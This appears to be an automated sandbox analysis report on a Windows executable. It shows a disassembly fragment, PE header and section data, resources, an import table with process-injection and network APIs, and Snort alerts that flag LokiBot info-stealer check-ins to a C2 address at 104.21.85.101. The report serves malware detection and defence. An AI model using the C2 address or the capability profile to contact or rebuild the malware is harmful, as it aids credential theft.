jnc 00007F9C80E23879h
rep movsb
jmp 00007F9C80E23B8Ch
cmp ecx, 00000080h
jc 00007F9C80E23A44h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F9C80E23880h
bt dword ptr [004BF324h], 01h
jc 00007F9C80E23D50h
bt dword ptr [004C41FCh], 00000000h
jnc 00007F9C80E23A1Dh
test edi, 00000003h
jne 00007F9C80E23A2Eh
test esi, 00000003h
jne 00007F9C80E23A0Dh
bt edi, 02h
jnc 00007F9C80E2387Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F9C80E23883h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F9C80E238D5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x20ae4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe9000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x20ae4	0x20c00	3715dbd8b9820085845ddaab578c3d8d	False	0.798254114980916	data	7.528537187270758	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe9000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc85a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc86d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc87f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc8920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc8c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc8d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc9bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xca480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xca9e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xccf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xce038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xce4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xce4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcea84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcf110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcf5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcfb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd01f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd0660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd07b8	0x17d7c	data			1.0003686258447675
RT_GROUP_ICON	0xe8534	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xe85ac	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xe85c0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xe85d4	0x14	data	English	Great Britain	1.25
RT_VERSION	0xe85e8	0x10c	data	English	Great Britain	0.5932835820895522
RT_MANIFEST	0xe86f4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/27/24-02:58:09.186594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.5	104.21.85.101
05/27/24-02:58:42.432686	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.2.5	104.21.85.101
05/27/24-02:57:11.985959	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.5	104.21.85.101
05/27/24-02:58:09.186594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.5	104.21.85.101
05/27/24-02:58:39.855398	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.5	104.21.85.101
05/27/24-02:57:09.229387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.5	104.21.85.101
05/27/24-02:57:53.803473	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.5	104.21.85.101
05/27/24-02:58:25.471357	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.5	104.21.85.101
05/27/24-02:58:37.210299	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.993699	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49821	80	192.168.2.5	104.21.85.101
05/27/24-02:58:42.432686	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.5	104.21.85.101
05/27/24-02:57:27.314357	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.5	104.21.85.101
05/27/24-02:58:02.822734	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49784	80	192.168.2.5	104.21.85.101
05/27/24-02:58:03.699908	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.5	104.21.85.101
05/27/24-02:58:06.518525	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.5	104.21.85.101
05/27/24-02:57:11.985959	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.5	104.21.85.101
05/27/24-02:57:21.327353	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.5	104.21.85.101
05/27/24-02:58:06.518525	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49788	80	192.168.2.5	104.21.85.101
05/27/24-02:58:53.747051	TCP	2025381	ET TROJAN LokiBot Checkin	49836	80	192.168.2.5	104.21.85.101
05/27/24-02:57:12.795525	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49731	80	192.168.2.5	104.21.85.101
05/27/24-02:58:07.399031	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49789	80	192.168.2.5	104.21.85.101
05/27/24-02:57:05.187815	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.970619	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49728	80	192.168.2.5	104.21.85.101
05/27/24-02:57:32.850963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.5	104.21.85.101
05/27/24-02:57:43.888980	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49763	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.936240	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.5	104.21.85.101
05/27/24-02:57:43.888980	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.5	104.21.85.101
05/27/24-02:58:36.335492	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49818	80	192.168.2.5	104.21.85.101
05/27/24-02:58:18.265929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.5	104.21.85.101
05/27/24-02:58:35.485663	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.5	104.21.85.101
05/27/24-02:57:03.327854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.5	104.21.85.101
05/27/24-02:58:19.144546	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49801	80	192.168.2.5	104.21.85.101
05/27/24-02:57:00.615870	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.5	104.21.85.101
05/27/24-02:57:37.342738	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.5	104.21.85.101
05/27/24-02:58:18.265929	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.5	104.21.85.101
05/27/24-02:58:35.485663	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49817	80	192.168.2.5	104.21.85.101
05/27/24-02:57:34.740166	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.5	104.21.85.101
05/27/24-02:57:55.635319	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49776	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.907197	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49707	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.907197	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49707	80	192.168.2.5	104.21.85.101
05/27/24-02:57:50.878814	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.5	104.21.85.101
05/27/24-02:56:57.681674	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49710	80	192.168.2.5	104.21.85.101
05/27/24-02:57:56.483967	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.5	104.21.85.101
05/27/24-02:56:57.681674	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49710	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.171322	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49736	80	192.168.2.5	104.21.85.101
05/27/24-02:57:25.218772	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.5	104.21.85.101
05/27/24-02:58:11.776104	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.127367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.5	104.21.85.101
05/27/24-02:57:16.316242	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.5	104.21.85.101
05/27/24-02:57:16.316242	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.5	104.21.85.101
05/27/24-02:57:50.878814	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49771	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.108178	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.5	104.21.85.101
05/27/24-02:58:44.306693	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49827	80	192.168.2.5	104.21.85.101
05/27/24-02:58:17.383670	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.5	104.21.85.101
05/27/24-02:57:30.108861	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.5	104.21.85.101
05/27/24-02:56:55.869978	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49708	80	192.168.2.5	104.21.85.101
05/27/24-02:57:08.406183	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.5	104.21.85.101
05/27/24-02:58:26.338973	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49809	80	192.168.2.5	104.21.85.101
05/27/24-02:56:55.869978	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49708	80	192.168.2.5	104.21.85.101
05/27/24-02:57:23.648663	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.5	104.21.85.101
05/27/24-02:58:31.013040	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.045782	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.5	104.21.85.101
05/27/24-02:57:23.648663	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.5	104.21.85.101
05/27/24-02:58:45.171221	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.5	104.21.85.101
05/27/24-02:57:25.218772	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49744	80	192.168.2.5	104.21.85.101
05/27/24-02:58:04.647547	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.5	104.21.85.101
05/27/24-02:57:19.638609	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.174321	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49833	80	192.168.2.5	104.21.85.101
05/27/24-02:58:40.730674	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.5	104.21.85.101
05/27/24-02:57:19.638609	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.5	104.21.85.101
05/27/24-02:58:15.663990	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.5	104.21.85.101
05/27/24-02:57:15.342998	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.5	104.21.85.101
05/27/24-02:57:22.168783	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.5	104.21.85.101
05/27/24-02:57:22.168783	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.965000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.5	104.21.85.101
05/27/24-02:58:30.172586	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.5	104.21.85.101
05/27/24-02:58:24.574893	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.965000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.003346	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49767	80	192.168.2.5	104.21.85.101
05/27/24-02:56:56.824671	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49709	80	192.168.2.5	104.21.85.101
05/27/24-02:57:33.866649	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.5	104.21.85.101
05/27/24-02:58:26.338973	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.5	104.21.85.101
05/27/24-02:56:58.817936	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49711	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.003346	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.5	104.21.85.101
05/27/24-02:58:31.013040	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49814	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.045782	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49772	80	192.168.2.5	104.21.85.101
05/27/24-02:58:18.265929	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49800	80	192.168.2.5	104.21.85.101
05/27/24-02:58:19.144546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.003346	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.5	104.21.85.101
05/27/24-02:58:30.172586	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49813	80	192.168.2.5	104.21.85.101
05/27/24-02:56:59.664329	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.5	104.21.85.101
05/27/24-02:58:27.314091	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.5	104.21.85.101
05/27/24-02:58:29.323327	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49812	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.048379	TCP	2025381	ET TROJAN LokiBot Checkin	49706	80	192.168.2.5	104.21.85.101
05/27/24-02:56:58.817936	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49711	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.941539	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49769	80	192.168.2.5	104.21.85.101
